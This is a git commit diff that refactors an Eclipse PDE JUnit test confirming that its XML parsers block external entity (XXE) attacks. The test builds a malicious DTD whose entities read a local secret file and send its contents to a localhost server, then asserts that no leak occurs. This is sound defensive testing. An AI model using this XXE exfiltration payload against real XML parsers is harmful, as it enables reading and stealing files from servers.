More suggestions for improvements

eclipse-pde · Jul 13, 2023 · 8a41eb4 · 8a41eb4
1 parent d9cfef7
commit 8a41eb4
Showing 1 changed file with 22 additions and 29 deletions.
diff --git a/...ipse.pde.ui.tests/src/org/eclipse/pde/core/tests/internal/PDEXmlProcessorFactoryTest.java b/...ipse.pde.ui.tests/src/org/eclipse/pde/core/tests/internal/PDEXmlProcessorFactoryTest.java
@@ -10,9 +10,14 @@
  *******************************************************************************/
 package org.eclipse.pde.core.tests.internal;
 
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.CoreMatchers.not;
+import static org.hamcrest.CoreMatchers.startsWith;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import java.io.BufferedReader;
 import java.io.ByteArrayInputStream;
@@ -25,6 +30,7 @@
 import java.net.Socket;
 import java.net.SocketException;
 import java.net.URI;
+import java.net.URL;
 import java.nio.charset.StandardCharsets;
 import java.nio.file.Files;
 import java.nio.file.Path;
@@ -46,7 +52,9 @@
 import javax.xml.transform.stream.StreamSource;
 
 import org.eclipse.pde.internal.core.util.PDEXmlProcessorFactory;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
 import org.w3c.dom.Document;
 import org.w3c.dom.Element;
 import org.xml.sax.InputSource;
@@ -56,7 +64,8 @@
 
 public class PDEXmlProcessorFactoryTest {
 
-	final List<Path> tmpFiles = new ArrayList<>();
+	@Rule
+	TemporaryFolder tempFolder = new TemporaryFolder();
 
 	@Test
 	public void testParseXmlWithExternalEntity() throws Exception {
@@ -89,12 +98,6 @@ public void testParseXmlWithoutIgnoredExternalEntity() throws Exception {
 		testParseXmlWithExternalEntity(parser, this::createNormalXml);
 	}
 
-	private void cleanup() throws IOException {
-		for (Path path : tmpFiles) {
-			Files.delete(path);
-		}
-	}
-
 	public void testParseXmlWithExternalEntity(SAXParser parser, IntFunction<InputStream> xmlSupplier)
 			throws Exception {
 		try (Server httpServerThread = new Server()) {
@@ -132,8 +135,6 @@ public InputSource resolveEntity(String publicId, String systemId) throws IOExce
 				parser.parse(xmlStream, handler);
 			}
 			assertEquals(List.of("Body"), elements);
-		} finally {
-			cleanup();
 		}
 	}
 
@@ -175,8 +176,6 @@ public void testParseXmlWithExternalEntity(DocumentBuilder builder, IntFunction<
 			assertEquals("Body", root.getTagName());
 			String value = root.getChildNodes().item(0).getNodeValue();
 			assertFalse("Parser injected secret: " + value, value.contains("secret"));
-		} finally {
-			cleanup();
 		}
 	}
 
@@ -214,30 +213,24 @@ public void testParseXmlWithExternalEntity(TransformerFactory transformerFactory
 			}
 			assertTrue(formatted, formatted.contains("<Body>"));
 			assertFalse("Formatter injected secret: " + formatted, formatted.contains("secret"));
-		} finally {
-			cleanup();
 		}
 	}
 
 	private InputStream createMalciousXml(int localPort) {
 		try {
-			Path tempSecret = Files.createTempFile("test", ".txt");
-			tmpFiles.add(tempSecret);
+			Path tempSecret = tempFolder.newFile("test.txt").toPath();
 			Files.writeString(tempSecret, "secret");
-			Path tempDtd = Files.createTempFile("test", ".dtd");
-			tmpFiles.add(tempDtd);
-			String dtdContent = "<!ENTITY % var1 SYSTEM \"" + tempSecret.toUri().toURL() + "\">\n" //
-					+ "<!ENTITY var4 SYSTEM \"" + tempSecret.toUri().toURL() + "\">\n" //
+			Path tempDtd = tempFolder.newFile("test.dtd").toPath();
+			URL secretURL = tempSecret.toUri().toURL();
+			String dtdContent = "<!ENTITY % var1 SYSTEM \"" + secretURL + "\">\n" //
+					+ "<!ENTITY var4 SYSTEM \"" + secretURL + "\">\n" //
 					+ "<!ENTITY % var2 \"<!ENTITY var3 SYSTEM 'http://localhost:" + localPort + "/?%var1;'>\">\n" //
 					+ "%var2;\n";
 			Files.writeString(tempDtd, dtdContent);
-			StringBuilder sb = new StringBuilder();
-			sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
-			URI dtdURi = tempDtd.toUri();
-			String dtdUrl = dtdURi.toURL().toString();
-			sb.append("<!DOCTYPE var1 SYSTEM \"" + dtdUrl + "\">\n");
-			sb.append("<Body>&var3;&var4;</Body>");
-			String xml = sb.toString();
+			URL dtdURL = tempDtd.toUri().toURL();
+			String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" //
+					+ "<!DOCTYPE var1 SYSTEM \"" + dtdURL + "\">\n" //
+					+ "<Body>&var3;&var4;</Body>";
 			return new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
 		} catch (IOException e) {
 			throw new RuntimeException(e);
@@ -268,9 +261,9 @@ public void run() {
 							try (OutputStream outputStream = socket.getOutputStream()) {
 								outputStream.write("HTTP/1.1 200 OK\r\n".getBytes(StandardCharsets.UTF_8));
 							}
-							assertTrue(firstLine, firstLine.startsWith("GET"));
-							assertFalse("Server received secret: " + firstLine, firstLine.contains("secret")); // var3
-							assertFalse("Server was contacted", true);
+							assertThat(firstLine, startsWith("GET"));
+							assertThat(firstLine, not(containsString("secret")));
+							fail("Server was contacted");
 						}
 					} catch (SocketException closed) {
 						// expected